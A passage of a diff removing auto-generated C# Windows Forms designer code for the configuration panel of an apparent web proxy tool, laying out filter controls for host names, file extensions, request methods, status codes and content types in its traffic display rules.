- this.ConfigRuleHostNamesPlusTB.Name = "ConfigRuleHostNamesPlusTB"; - this.ConfigRuleHostNamesPlusTB.Size = new System.Drawing.Size(705, 20); - this.ConfigRuleHostNamesPlusTB.TabIndex = 51; - // - // ConfigRuleHostNamesMinusTB - // - this.ConfigRuleHostNamesMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRuleHostNamesMinusTB.Enabled = false; - this.ConfigRuleHostNamesMinusTB.Location = new System.Drawing.Point(160, 29); - this.ConfigRuleHostNamesMinusTB.Name = "ConfigRuleHostNamesMinusTB"; - this.ConfigRuleHostNamesMinusTB.Size = new System.Drawing.Size(705, 20); - this.ConfigRuleHostNamesMinusTB.TabIndex = 52; - // - // ConfigRuleHostNamesPlusRB - // - this.ConfigRuleHostNamesPlusRB.AutoSize = true; - this.ConfigRuleHostNamesPlusRB.Enabled = false; - this.ConfigRuleHostNamesPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigRuleHostNamesPlusRB.Location = new System.Drawing.Point(118, 9); - this.ConfigRuleHostNamesPlusRB.Name = "ConfigRuleHostNamesPlusRB"; - this.ConfigRuleHostNamesPlusRB.Size = new System.Drawing.Size(34, 20); - this.ConfigRuleHostNamesPlusRB.TabIndex = 57; - this.ConfigRuleHostNamesPlusRB.TabStop = true; - this.ConfigRuleHostNamesPlusRB.Text = "+"; - this.ConfigRuleHostNamesPlusRB.UseVisualStyleBackColor = true; - // - // ConfigRuleHostNamesMinusRB - // - this.ConfigRuleHostNamesMinusRB.AutoSize = true; - this.ConfigRuleHostNamesMinusRB.Enabled = false; - this.ConfigRuleHostNamesMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigRuleHostNamesMinusRB.Location = new System.Drawing.Point(118, 28); - this.ConfigRuleHostNamesMinusRB.Name = "ConfigRuleHostNamesMinusRB"; - this.ConfigRuleHostNamesMinusRB.Size = new System.Drawing.Size(31, 20); - this.ConfigRuleHostNamesMinusRB.TabIndex = 58; - this.ConfigRuleHostNamesMinusRB.TabStop = true; - this.ConfigRuleHostNamesMinusRB.Text = "-"; - this.ConfigRuleHostNamesMinusRB.UseVisualStyleBackColor = true; - // - // ConfigRuleApplyChangesLL - // - this.ConfigRuleApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; - this.ConfigRuleApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRuleApplyChangesLL.AutoSize = true; - this.ConfigRuleApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigRuleApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; - this.ConfigRuleApplyChangesLL.Location = new System.Drawing.Point(670, 6); - this.ConfigRuleApplyChangesLL.Name = "ConfigRuleApplyChangesLL"; - this.ConfigRuleApplyChangesLL.Size = new System.Drawing.Size(91, 13); - this.ConfigRuleApplyChangesLL.TabIndex = 56; - this.ConfigRuleApplyChangesLL.TabStop = true; - this.ConfigRuleApplyChangesLL.Text = "Apply Changes"; - this.ConfigRuleApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; - this.ConfigRuleApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigRuleApplyChangesLL_LinkClicked); - // - // groupBox1 - // - this.groupBox1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox1.Controls.Add(this.ConfigRuleFileExtensionsCB); - this.groupBox1.Controls.Add(this.ConfigRuleFileExtensionsPlusTB); - this.groupBox1.Controls.Add(this.ConfigRuleFileExtensionsMinusTB); - this.groupBox1.Controls.Add(this.ConfigRuleFileExtensionsPlusRB); - this.groupBox1.Controls.Add(this.ConfigRuleFileExtensionsMinusRB); - this.groupBox1.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox1.Location = new System.Drawing.Point(2, 39); - this.groupBox1.Margin = new System.Windows.Forms.Padding(0); - this.groupBox1.Name = "groupBox1"; - this.groupBox1.Size = new System.Drawing.Size(868, 52); - this.groupBox1.TabIndex = 63; - this.groupBox1.TabStop = false; - // - // ConfigRuleFileExtensionsCB - // - this.ConfigRuleFileExtensionsCB.AutoSize = true; - this.ConfigRuleFileExtensionsCB.Checked = true; - this.ConfigRuleFileExtensionsCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRuleFileExtensionsCB.Location = new System.Drawing.Point(8, 20); - this.ConfigRuleFileExtensionsCB.Name = "ConfigRuleFileExtensionsCB"; - this.ConfigRuleFileExtensionsCB.Size = new System.Drawing.Size(99, 17); - this.ConfigRuleFileExtensionsCB.TabIndex = 59; - this.ConfigRuleFileExtensionsCB.Text = "File Extensions:"; - this.ConfigRuleFileExtensionsCB.UseVisualStyleBackColor = true; - this.ConfigRuleFileExtensionsCB.CheckedChanged += new System.EventHandler(this.ConfigRuleFileExtensionsCB_CheckedChanged); - // - // ConfigRuleFileExtensionsPlusTB - // - this.ConfigRuleFileExtensionsPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRuleFileExtensionsPlusTB.Location = new System.Drawing.Point(160, 8); - this.ConfigRuleFileExtensionsPlusTB.Name = "ConfigRuleFileExtensionsPlusTB"; - this.ConfigRuleFileExtensionsPlusTB.Size = new System.Drawing.Size(705, 20); - this.ConfigRuleFileExtensionsPlusTB.TabIndex = 51; - // - // ConfigRuleFileExtensionsMinusTB - // - this.ConfigRuleFileExtensionsMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRuleFileExtensionsMinusTB.Location = new System.Drawing.Point(160, 29); - this.ConfigRuleFileExtensionsMinusTB.Name = "ConfigRuleFileExtensionsMinusTB"; - this.ConfigRuleFileExtensionsMinusTB.Size = new System.Drawing.Size(705, 20); - this.ConfigRuleFileExtensionsMinusTB.TabIndex = 52; - this.ConfigRuleFileExtensionsMinusTB.Text = "css,js,jpg,jpeg,png,gif,ico,swf,doc,docx,pdf,xls,xlsx,ppt,pptx"; - // - // ConfigRuleFileExtensionsPlusRB - // - this.ConfigRuleFileExtensionsPlusRB.AutoSize = true; - this.ConfigRuleFileExtensionsPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigRuleFileExtensionsPlusRB.Location = new System.Drawing.Point(118, 9); - this.ConfigRuleFileExtensionsPlusRB.Name = "ConfigRuleFileExtensionsPlusRB"; - this.ConfigRuleFileExtensionsPlusRB.Size = new System.Drawing.Size(34, 20); - this.ConfigRuleFileExtensionsPlusRB.TabIndex = 57; - this.ConfigRuleFileExtensionsPlusRB.Text = "+"; - this.ConfigRuleFileExtensionsPlusRB.UseVisualStyleBackColor = true; - // - // ConfigRuleFileExtensionsMinusRB - // - this.ConfigRuleFileExtensionsMinusRB.AutoSize = true; - this.ConfigRuleFileExtensionsMinusRB.Checked = true; - this.ConfigRuleFileExtensionsMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigRuleFileExtensionsMinusRB.Location = new System.Drawing.Point(118, 28); - this.ConfigRuleFileExtensionsMinusRB.Name = "ConfigRuleFileExtensionsMinusRB"; - this.ConfigRuleFileExtensionsMinusRB.Size = new System.Drawing.Size(31, 20); - this.ConfigRuleFileExtensionsMinusRB.TabIndex = 58; - this.ConfigRuleFileExtensionsMinusRB.TabStop = true; - this.ConfigRuleFileExtensionsMinusRB.Text = "-"; - this.ConfigRuleFileExtensionsMinusRB.UseVisualStyleBackColor = true; - // - // ConfigRuleCancelChangesLL - // - this.ConfigRuleCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRuleCancelChangesLL.AutoSize = true; - this.ConfigRuleCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigRuleCancelChangesLL.Location = new System.Drawing.Point(767, 5); - this.ConfigRuleCancelChangesLL.Name = "ConfigRuleCancelChangesLL"; - this.ConfigRuleCancelChangesLL.Size = new System.Drawing.Size(99, 13); - this.ConfigRuleCancelChangesLL.TabIndex = 55; - this.ConfigRuleCancelChangesLL.TabStop = true; - this.ConfigRuleCancelChangesLL.Text = "Cancel Changes"; - this.ConfigRuleCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigRuleCancelChangesLL_LinkClicked); - // - // label10 - // - this.label10.AutoSize = true; - this.label10.Location = new System.Drawing.Point(3, 23); - this.label10.Name = "label10"; - this.label10.Size = new System.Drawing.Size(89, 13); - this.label10.TabIndex = 9; - this.label10.Text = "Request Method:"; - // - // ConfigRuleContentCSSCB - // - this.ConfigRuleContentCSSCB.AutoSize = true; - this.ConfigRuleContentCSSCB.Location = new System.Drawing.Point(229, 244); - this.ConfigRuleContentCSSCB.Name = "ConfigRuleContentCSSCB"; - this.ConfigRuleContentCSSCB.Size = new System.Drawing.Size(47, 17); - this.ConfigRuleContentCSSCB.TabIndex = 0; - this.ConfigRuleContentCSSCB.Text = "CSS"; - this.ConfigRuleContentCSSCB.UseVisualStyleBackColor = true; - // - // ConfigRuleCode5xxCB - // - this.ConfigRuleCode5xxCB.AutoSize = true; - this.ConfigRuleCode5xxCB.Location = new System.Drawing.Point(481, 224); - this.ConfigRuleCode5xxCB.Name = "ConfigRuleCode5xxCB"; - this.ConfigRuleCode5xxCB.Size = new System.Drawing.Size(42, 17); - this.ConfigRuleCode5xxCB.TabIndex = 27; - this.ConfigRuleCode5xxCB.Text = "5xx"; - this.ConfigRuleCode5xxCB.UseVisualStyleBackColor = true; - // - // ConfigRuleContentJSCB - // - this.ConfigRuleContentJSCB.AutoSize = true; - this.ConfigRuleContentJSCB.Location = new System.Drawing.Point(185, 244); - this.ConfigRuleContentJSCB.Name = "ConfigRuleContentJSCB"; - this.ConfigRuleContentJSCB.Size = new System.Drawing.Size(38, 17); - this.ConfigRuleContentJSCB.TabIndex = 1; - this.ConfigRuleContentJSCB.Text = "JS"; - this.ConfigRuleContentJSCB.UseVisualStyleBackColor = true; - // - // ConfigRuleCode500CB - // - this.ConfigRuleCode500CB.AutoSize = true; - this.ConfigRuleCode500CB.Checked = true; - this.ConfigRuleCode500CB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRuleCode500CB.Location = new System.Drawing.Point(431, 224); - this.ConfigRuleCode500CB.Name = "ConfigRuleCode500CB"; - this.ConfigRuleCode500CB.Size = new System.Drawing.Size(44, 17); - this.ConfigRuleCode500CB.TabIndex = 22; - this.ConfigRuleCode500CB.Text = "500"; - this.ConfigRuleCode500CB.UseVisualStyleBackColor = true; - // - // ConfigRuleContentImgCB - // - this.ConfigRuleContentImgCB.AutoSize = true; - this.ConfigRuleContentImgCB.Location = new System.Drawing.Point(471, 244); - this.ConfigRuleContentImgCB.Name = "ConfigRuleContentImgCB"; - this.ConfigRuleContentImgCB.Size = new System.Drawing.Size(60, 17); - this.ConfigRuleContentImgCB.TabIndex = 2; - this.ConfigRuleContentImgCB.Text = "Images"; - this.ConfigRuleContentImgCB.UseVisualStyleBackColor = true; - // - // ConfigRuleCode4xxCB - // - this.ConfigRuleCode4xxCB.AutoSize = true; - this.ConfigRuleCode4xxCB.Location = new System.Drawing.Point(383, 224); - this.ConfigRuleCode4xxCB.Name = "ConfigRuleCode4xxCB"; - this.ConfigRuleCode4xxCB.Size = new System.Drawing.Size(42, 17); - this.ConfigRuleCode4xxCB.TabIndex = 21; - this.ConfigRuleCode4xxCB.Text = "4xx"; - this.ConfigRuleCode4xxCB.UseVisualStyleBackColor = true; - // - // ConfigRuleContentOtherBinaryCB - // - this.ConfigRuleContentOtherBinaryCB.AutoSize = true; - this.ConfigRuleContentOtherBinaryCB.Location = new System.Drawing.Point(537, 244); - this.ConfigRuleContentOtherBinaryCB.Name = "ConfigRuleContentOtherBinaryCB"; - this.ConfigRuleContentOtherBinaryCB.Size = new System.Drawing.Size(84, 17); - this.ConfigRuleContentOtherBinaryCB.TabIndex = 3; - this.ConfigRuleContentOtherBinaryCB.Text = "Other Binary"; - this.ConfigRuleContentOtherBinaryCB.UseVisualStyleBackColor = true; - // - // ConfigRuleCode403CB - // - this.ConfigRuleCode403CB.AutoSize = true; - this.ConfigRuleCode403CB.Checked = true; - this.ConfigRuleCode403CB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRuleCode403CB.Location = new System.Drawing.Point(333, 224); - this.ConfigRuleCode403CB.Name = "ConfigRuleCode403CB"; - this.ConfigRuleCode403CB.Size = new System.Drawing.Size(44, 17); - this.ConfigRuleCode403CB.TabIndex = 20; - this.ConfigRuleCode403CB.Text = "403"; - this.ConfigRuleCode403CB.UseVisualStyleBackColor = true; - // - // label9 - // - this.label9.AutoSize = true; - this.label9.Location = new System.Drawing.Point(4, 244); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(125, 13); - this.label9.TabIndex = 7; - this.label9.Text = "Response Content Type:"; - // - // ConfigRuleCode3xxCB - // - this.ConfigRuleCode3xxCB.AutoSize = true; - this.ConfigRuleCode3xxCB.Location = new System.Drawing.Point(285, 224); - this.ConfigRuleCode3xxCB.Name = "ConfigRuleCode3xxCB"; - this.ConfigRuleCode3xxCB.Size = new System.Drawing.Size(42, 17); - this.ConfigRuleCode3xxCB.TabIndex = 19; - this.ConfigRuleCode3xxCB.Text = "3xx"; - this.ConfigRuleCode3xxCB.UseVisualStyleBackColor = true; - // - // ConfigRuleContentHTMLCB - // - this.ConfigRuleContentHTMLCB.AutoSize = true; - this.ConfigRuleContentHTMLCB.Checked = true; - this.ConfigRuleContentHTMLCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRuleContentHTMLCB.Location = new System.Drawing.Point(129, 244); - this.ConfigRuleContentHTMLCB.Name = "ConfigRuleContentHTMLCB"; - this.ConfigRuleContentHTMLCB.Size = new System.Drawing.Size(56, 17); - this.ConfigRuleContentHTMLCB.TabIndex = 8; - this.ConfigRuleContentHTMLCB.Text = "HTML"; - this.ConfigRuleContentHTMLCB.UseVisualStyleBackColor = true; - // - // ConfigRuleCode301_2CB - // - this.ConfigRuleCode301_2CB.AutoSize = true; - this.ConfigRuleCode301_2CB.Checked = true; - this.ConfigRuleCode301_2CB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRuleCode301_2CB.Location = new System.Drawing.Point(226, 224); - this.ConfigRuleCode301_2CB.Name = "ConfigRuleCode301_2CB"; - this.ConfigRuleCode301_2CB.Size = new System.Drawing.Size(53, 17); - this.ConfigRuleCode301_2CB.TabIndex = 18; - this.ConfigRuleCode301_2CB.Text = "301-2"; - this.ConfigRuleCode301_2CB.UseVisualStyleBackColor = true; - // - // ConfigRuleGETMethodCB - // - this.ConfigRuleGETMethodCB.AutoSize = true; - this.ConfigRuleGETMethodCB.Checked = true; - this.ConfigRuleGETMethodCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRuleGETMethodCB.Location = new System.Drawing.Point(99, 24); - this.ConfigRuleGETMethodCB.Name = "ConfigRuleGETMethodCB"; - this.ConfigRuleGETMethodCB.Size = new System.Drawing.Size(48, 17); - this.ConfigRuleGETMethodCB.TabIndex = 10; - this.ConfigRuleGETMethodCB.Text = "GET"; - this.ConfigRuleGETMethodCB.UseVisualStyleBackColor = true; - // - // ConfigRuleCode2xxCB - // - this.ConfigRuleCode2xxCB.AutoSize = true; - this.ConfigRuleCode2xxCB.Location = new System.Drawing.Point(178, 224); - this.ConfigRuleCode2xxCB.Name = "ConfigRuleCode2xxCB"; - this.ConfigRuleCode2xxCB.Size = new System.Drawing.Size(42, 17); - this.ConfigRuleCode2xxCB.TabIndex = 17; - this.ConfigRuleCode2xxCB.Text = "2xx"; - this.ConfigRuleCode2xxCB.UseVisualStyleBackColor = true; - // - // ConfigRulePOSTMethodCB - // - this.ConfigRulePOSTMethodCB.AutoSize = true; - this.ConfigRulePOSTMethodCB.Checked = true; - this.ConfigRulePOSTMethodCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRulePOSTMethodCB.Location = new System.Drawing.Point(149, 24); - this.ConfigRulePOSTMethodCB.Name = "ConfigRulePOSTMethodCB"; - this.ConfigRulePOSTMethodCB.Size = new System.Drawing.Size(55, 17); - this.ConfigRulePOSTMethodCB.TabIndex = 11; - this.ConfigRulePOSTMethodCB.Text = "POST"; - this.ConfigRulePOSTMethodCB.UseVisualStyleBackColor = true; - // - // ConfigRuleCode200CB - // - this.ConfigRuleCode200CB.AutoSize = true; - this.ConfigRuleCode200CB.Checked = true; - this.ConfigRuleCode200CB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRuleCode200CB.Location = new System.Drawing.Point(129, 224); - this.ConfigRuleCode200CB.Name = "ConfigRuleCode200CB"; - this.ConfigRuleCode200CB.Size = new System.Drawing.Size(44, 17); - this.ConfigRuleCode200CB.TabIndex = 16; - this.ConfigRuleCode200CB.Text = "200"; - this.ConfigRuleCode200CB.UseVisualStyleBackColor = true; - // - // ConfigRuleOtherMethodsCB - // - this.ConfigRuleOtherMethodsCB.AutoSize = true; - this.ConfigRuleOtherMethodsCB.Checked = true; - this.ConfigRuleOtherMethodsCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRuleOtherMethodsCB.Location = new System.Drawing.Point(209, 24); - this.ConfigRuleOtherMethodsCB.Name = "ConfigRuleOtherMethodsCB"; - this.ConfigRuleOtherMethodsCB.Size = new System.Drawing.Size(52, 17); - this.ConfigRuleOtherMethodsCB.TabIndex = 12; - this.ConfigRuleOtherMethodsCB.Text = "Other"; - this.ConfigRuleOtherMethodsCB.UseVisualStyleBackColor = true; - // - // label13 - // - this.label13.AutoSize = true; - this.label13.Location = new System.Drawing.Point(4, 224); - this.label13.Name = "label13"; - this.label13.Size = new System.Drawing.Size(119, 13); - this.label13.TabIndex = 15; - this.label13.Text = "Response Status Code:"; - // - // ConfigRuleContentOtherTextCB - // - this.ConfigRuleContentOtherTextCB.AutoSize = true; - this.ConfigRuleContentOtherTextCB.Checked = true; - this.ConfigRuleContentOtherTextCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRuleContentOtherTextCB.Location = new System.Drawing.Point(389, 244); - this.ConfigRuleContentOtherTextCB.Name = "ConfigRuleContentOtherTextCB"; - this.ConfigRuleContentOtherTextCB.Size = new System.Drawing.Size(76, 17); - this.ConfigRuleContentOtherTextCB.TabIndex = 13; - this.ConfigRuleContentOtherTextCB.Text = "Other Text"; - this.ConfigRuleContentOtherTextCB.UseVisualStyleBackColor = true; - // - // ConfigRuleContentXMLCB - // - this.ConfigRuleContentXMLCB.AutoSize = true; - this.ConfigRuleContentXMLCB.Checked = true; - this.ConfigRuleContentXMLCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigRuleContentXMLCB.Location = new System.Drawing.Point(282, 244); - this.ConfigRuleContentXMLCB.Name = "ConfigRuleContentXMLCB"; - this.ConfigRuleContentXMLCB.Size = new System.Drawing.Size(48, 17); - this.ConfigRuleContentXMLCB.TabIndex = 14; - this.ConfigRuleContentXMLCB.Text = "XML"; - this.ConfigRuleContentXMLCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRulesTab - // - this.ConfigDisplayRulesTab.Controls.Add(this.label27); - this.ConfigDisplayRulesTab.Controls.Add(this.label26); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleApplyChangesLL); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCancelChangesLL); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentJSONCB); - this.ConfigDisplayRulesTab.Controls.Add(this.groupBox3); - this.ConfigDisplayRulesTab.Controls.Add(this.groupBox4); - this.ConfigDisplayRulesTab.Controls.Add(this.label20); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentCSSCB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode5xxCB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentJSCB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode500CB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentImgCB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode4xxCB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentOtherBinaryCB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode403CB); - this.ConfigDisplayRulesTab.Controls.Add(this.label21); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode3xxCB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentHTMLCB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode301_2CB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleGETMethodCB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode2xxCB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRulePOSTMethodCB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode200CB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleOtherMethodsCB); - this.ConfigDisplayRulesTab.Controls.Add(this.label23); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentOtherTextCB); - this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentXMLCB); - this.ConfigDisplayRulesTab.Location = new System.Drawing.Point(4, 22); - this.ConfigDisplayRulesTab.Name = "ConfigDisplayRulesTab"; - this.ConfigDisplayRulesTab.Size = new System.Drawing.Size(873, 0); - this.ConfigDisplayRulesTab.TabIndex = 5; - this.ConfigDisplayRulesTab.Text = "Proxy Traffic Display Rules"; - this.ConfigDisplayRulesTab.UseVisualStyleBackColor = true; - // - // label27 - // - this.label27.AutoSize = true; - this.label27.Location = new System.Drawing.Point(7, 165); - this.label27.Name = "label27"; - this.label27.Size = new System.Drawing.Size(88, 13); - this.label27.TabIndex = 95; - this.label27.Text = "Response Rules:"; - // - // label26 - // - this.label26.AutoSize = true; - this.label26.Location = new System.Drawing.Point(7, 9); - this.label26.Name = "label26"; - this.label26.Size = new System.Drawing.Size(80, 13); - this.label26.TabIndex = 94; - this.label26.Text = "Request Rules:"; - // - // ConfigDisplayRuleApplyChangesLL - // - this.ConfigDisplayRuleApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; - this.ConfigDisplayRuleApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigDisplayRuleApplyChangesLL.AutoSize = true; - this.ConfigDisplayRuleApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigDisplayRuleApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; - this.ConfigDisplayRuleApplyChangesLL.Location = new System.Drawing.Point(664, 5); - this.ConfigDisplayRuleApplyChangesLL.Name = "ConfigDisplayRuleApplyChangesLL"; - this.ConfigDisplayRuleApplyChangesLL.Size = new System.Drawing.Size(91, 13); - this.ConfigDisplayRuleApplyChangesLL.TabIndex = 93; - this.ConfigDisplayRuleApplyChangesLL.TabStop = true; - this.ConfigDisplayRuleApplyChangesLL.Text = "Apply Changes"; - this.ConfigDisplayRuleApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; - this.ConfigDisplayRuleApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigDisplayRuleApplyChangesLL_LinkClicked); - // - // ConfigDisplayRuleCancelChangesLL - // - this.ConfigDisplayRuleCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigDisplayRuleCancelChangesLL.AutoSize = true; - this.ConfigDisplayRuleCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigDisplayRuleCancelChangesLL.Location = new System.Drawing.Point(771, 5); - this.ConfigDisplayRuleCancelChangesLL.Name = "ConfigDisplayRuleCancelChangesLL"; - this.ConfigDisplayRuleCancelChangesLL.Size = new System.Drawing.Size(99, 13); - this.ConfigDisplayRuleCancelChangesLL.TabIndex = 92; - this.ConfigDisplayRuleCancelChangesLL.TabStop = true; - this.ConfigDisplayRuleCancelChangesLL.Text = "Cancel Changes"; - this.ConfigDisplayRuleCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigDisplayRuleCancelChangesLL_LinkClicked); - // - // ConfigDisplayRuleContentJSONCB - // - this.ConfigDisplayRuleContentJSONCB.AutoSize = true; - this.ConfigDisplayRuleContentJSONCB.Checked = true; - this.ConfigDisplayRuleContentJSONCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigDisplayRuleContentJSONCB.Location = new System.Drawing.Point(332, 207); - this.ConfigDisplayRuleContentJSONCB.Name = "ConfigDisplayRuleContentJSONCB"; - this.ConfigDisplayRuleContentJSONCB.Size = new System.Drawing.Size(54, 17); - this.ConfigDisplayRuleContentJSONCB.TabIndex = 91; - this.ConfigDisplayRuleContentJSONCB.Text = "JSON"; - this.ConfigDisplayRuleContentJSONCB.UseVisualStyleBackColor = true; - // - // groupBox3 - // - this.groupBox3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox3.Controls.Add(this.ConfigDisplayRuleHostNamesCB); - this.groupBox3.Controls.Add(this.ConfigDisplayRuleHostNamesPlusTB); - this.groupBox3.Controls.Add(this.ConfigDisplayRuleHostNamesMinusTB); - this.groupBox3.Controls.Add(this.ConfigDisplayRuleHostNamesPlusRB); - this.groupBox3.Controls.Add(this.ConfigDisplayRuleHostNamesMinusRB); - this.groupBox3.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox3.Location = new System.Drawing.Point(2, 97); - this.groupBox3.Margin = new System.Windows.Forms.Padding(0); - this.groupBox3.Name = "groupBox3"; - this.groupBox3.Size = new System.Drawing.Size(868, 52); - this.groupBox3.TabIndex = 90; - this.groupBox3.TabStop = false; - // - // ConfigDisplayRuleHostNamesCB - // - this.ConfigDisplayRuleHostNamesCB.AutoSize = true; - this.ConfigDisplayRuleHostNamesCB.Location = new System.Drawing.Point(8, 20); - this.ConfigDisplayRuleHostNamesCB.Name = "ConfigDisplayRuleHostNamesCB"; - this.ConfigDisplayRuleHostNamesCB.Size = new System.Drawing.Size(84, 17); - this.ConfigDisplayRuleHostNamesCB.TabIndex = 59; - this.ConfigDisplayRuleHostNamesCB.Text = "HostNames:"; - this.ConfigDisplayRuleHostNamesCB.UseVisualStyleBackColor = true; - this.ConfigDisplayRuleHostNamesCB.CheckedChanged += new System.EventHandler(this.ConfigDisplayRuleHostNamesCB_CheckedChanged); - // - // ConfigDisplayRuleHostNamesPlusTB - // - this.ConfigDisplayRuleHostNamesPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigDisplayRuleHostNamesPlusTB.Enabled = false; - this.ConfigDisplayRuleHostNamesPlusTB.Location = new System.Drawing.Point(160, 8); - this.ConfigDisplayRuleHostNamesPlusTB.Name = "ConfigDisplayRuleHostNamesPlusTB"; - this.ConfigDisplayRuleHostNamesPlusTB.Size = new System.Drawing.Size(705, 20); - this.ConfigDisplayRuleHostNamesPlusTB.TabIndex = 51; - // - // ConfigDisplayRuleHostNamesMinusTB - // - this.ConfigDisplayRuleHostNamesMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigDisplayRuleHostNamesMinusTB.Enabled = false; - this.ConfigDisplayRuleHostNamesMinusTB.Location = new System.Drawing.Point(160, 29); - this.ConfigDisplayRuleHostNamesMinusTB.Name = 